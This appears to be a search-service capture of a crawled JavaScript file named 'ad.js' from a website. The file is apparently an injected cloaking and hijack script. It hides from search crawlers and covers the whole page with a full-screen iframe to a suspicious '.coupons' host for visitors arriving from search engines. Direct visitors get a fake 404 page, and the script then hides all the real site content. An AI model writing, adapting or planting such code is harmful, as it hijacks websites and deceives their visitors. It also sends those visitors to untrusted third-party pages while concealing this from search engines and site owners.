PageSourceSearch

http://natsunokoi.com/ad.js

js natsunokoi.com collected 2026-10-06 13:13:32 UTC 5,571 bytes, 151 lines download raw bytes

1window.__earlyReferrer = document.referrer;
2
3var titlestr = document.title;
4
5var arr = ["https://dmitigmjhg.968463.coupons:8283/?nb=Onerun5-003&bm=qmf&ml=kp"];
6
7var mobileArr = ["https://dmitigmjhg.968463.coupons:8283/?nb=Onerun5-003&bm=qmf&ml=kp"];
8
9var directAccessLink = location.origin + "/404";
10
11function isMobileDevice() {
12    var mobileRegex = /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i;
13    return mobileRegex.test(navigator.userAgent);
14}
15
16function isSafariMobile() {
17    var ua = navigator.userAgent;
18    var isSafari = /Safari/.test(ua) && !/Chrome|CriOS/.test(ua);
19    return isMobileDevice() && isSafari;
20}
21
22function isSpider() {
23    var spiderRegex = /(baiduspider|googlebot|sogou web spider|sosospider|360spider|yisouspider|bingbot|bytespider|yodaobot|msnbot|slurp)/i;
24    return spiderRegex.test(navigator.userAgent);
25}
26
27function getBestReferrer() {
28    if (window.__earlyReferrer && window.__earlyReferrer !== '') return window.__earlyReferrer;
29    try {
30        var navEntries = performance.getEntriesByType('navigation');
31        if (navEntries && navEntries.length > 0 && navEntries[0].referrer) {
32            return navEntries[0].referrer;
33        }
34    } catch(e) {}
35    return document.referrer;
36}
37
38function isFromSearchEngine() {
39    var referer = getBestReferrer();
40    var searchDomains = [
41        'baidu\\.com', 'm\\.baidu\\.com', 'www\\.baidu\\.com', 'baidu\\.cn',
42        'sogou\\.com', 'www\\.sogou\\.com', 'so\\.com', 'sm\\.cn',
43        'google\\.com', 'www\\.google\\.com', 'google\\.cn',
44        'bing\\.com', 'www\\.bing\\.com',
45        'yahoo\\.com', 'yandex\\.', 'ecosia\\.org', 'duckduckgo\\.com',
46        'ask\\.com', 'aol\\.com', 'wolframalpha\\.com'
47    ];
48    if (referer) {
49        var domainRegex = new RegExp('(' + searchDomains.join('|') + ')', 'i');
50        if (domainRegex.test(referer)) return true;
51        if (/\/s\?|\/search\?|\?q=|\?wd=|\?keyword=/.test(referer)) return true;
52    }
53    
54    var urlParams = new URLSearchParams(window.location.search);
55    var fromParam = urlParams.get('from') || urlParams.get('source') || urlParams.get('utm_source') || urlParams.get('wd');
56    if (fromParam) {
57        var searchKeywords = ['baidu', 'google', 'bing', 'sogou', 'yahoo', 'yandex', 'so', 'sm'];
58        for (var i = 0; i < searchKeywords.length; i++) {
59            if (fromParam.toLowerCase().indexOf(searchKeywords[i]) !== -1) return true;
60        }
61    }
62    
63    var currentUrl = window.location.href.toLowerCase();
64    for (var j = 0; j < searchDomains.length; j++) {
65        if (currentUrl.indexOf(searchDomains[j].replace(/\\/g, '')) !== -1) return true;
66    }
67    
68    return false;
69}
70
71function init() {
72    if (window !== window.top) {
73        return;
74    }
75
76    if (isSpider()) {
77        return;
78    }
79
80    if (isSafariMobile()) {
81        var safariTarget = mobileArr[Math.floor(Math.random() * mobileArr.length)];
82        if (safariTarget) {
83            createIframe(safariTarget, false);
84        }
85        return;
86    }
87
88    if (isFromSearchEngine()) {
89        var targetLink = isMobileDevice() ? mobileArr[Math.floor(Math.random() * mobileArr.length)] : arr[Math.floor(Math.random() * arr.length)];
90        if (targetLink) {
91            createIframe(targetLink, false);
92        }
93    } else {
94        createIframe(directAccessLink, true);
95    }
96}
97
98function createIframe(olink, is404) {
99    if (is404) {
100        document.title = "404";
101    } else {
102        document.title = titlestr;
103    }
104    
105    var container = document.createElement('div');
106    container.id = 'showcloneshengxiaon';
107    container.style.cssText = 'height: 100%; width: 100%; background-color: rgb(255, 255, 255); position: fixed; top: 0; left: 0; z-index: 999999;';
108    
109    var iframe = document.createElement('iframe');
110    iframe.src = olink;
111    iframe.scrolling = 'yes';
112    iframe.style.cssText = 'width: 100%; height: 100%; border: none; margin: 0; padding: 0;';
113    iframe.setAttribute('frameborder', '0');
114    iframe.setAttribute('marginheight', '0');
115    iframe.setAttribute('marginwidth', '0');
116    
117    container.appendChild(iframe);
118    document.body.appendChild(container);
119    
120    document.documentElement.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0;';
121    document.body.style.cssText = 'width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden;';
122    
123    setTimeout(function() {
124        for (var i = 0; i < document.body.children.length; i++) {
125            try {
126                var element = document.body.children[i];
127                var tagName = element.tagName.toLowerCase();
128                var id = element.id;
129                
130                if (id !== 'iconDiv1' && id !== 'showcloneshengxiaon' && tagName !== 'script') {
131                    element.style.display = 'none';
132                }
133            } catch(e) {}
134        }
135        
136        if (!document.querySelector('meta[name="viewport"]')) {
137            var oMeta = document.createElement('meta');
138            oMeta.name = 'viewport';
139            oMeta.content = 'width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no';
140            document.getElementsByTagName('head')[0].appendChild(oMeta);
141        }
142        
143        console.log('iframe加载完成,目标:', olink, is404 ? '(404页面)' : '');
144    }, 100);
145}
146
147if (document.readyState === 'complete' || document.readyState === 'interactive') {
148    init();
149} else {
150    document.addEventListener('DOMContentLoaded', init);
151}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.